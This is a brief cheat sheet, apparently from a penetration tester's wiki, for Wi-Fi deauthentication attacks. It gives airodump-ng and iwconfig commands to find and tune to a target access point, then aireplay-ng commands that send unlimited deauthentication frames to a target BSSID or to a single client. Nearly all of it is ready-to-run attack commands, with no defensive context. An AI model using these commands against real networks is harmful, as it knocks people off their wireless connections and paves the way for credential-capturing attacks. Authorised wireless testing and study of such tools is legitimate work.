==== aireplay-ng deauthentications and replays ====

Capture AP information
<code bash>airodump-ng -i wlan0mon</code>

Change interface channel
<code bash>iwconfig wlan0mon channel [CHANNEL_NUM]</code>

Launch deauth attacks
<code bash>
# --deauth or -0 | works the same
# --deauth #     | number of deauthentications (0 to infinite)
# -a MAC         | mac address of the target Access Point BSSID
# -c MAC         | mac address of the client associated to target
aireplay-ng --deauth 0 -a [TARGET_BSSID] wlan0mon
aireplay-ng --deauth 0 -a [TARGET_BSSID] -c [TARGET_CLIENT] wlan0mon
</code>

More information at: 
https://tools.kali.org/wireless-attacks/aireplay-ng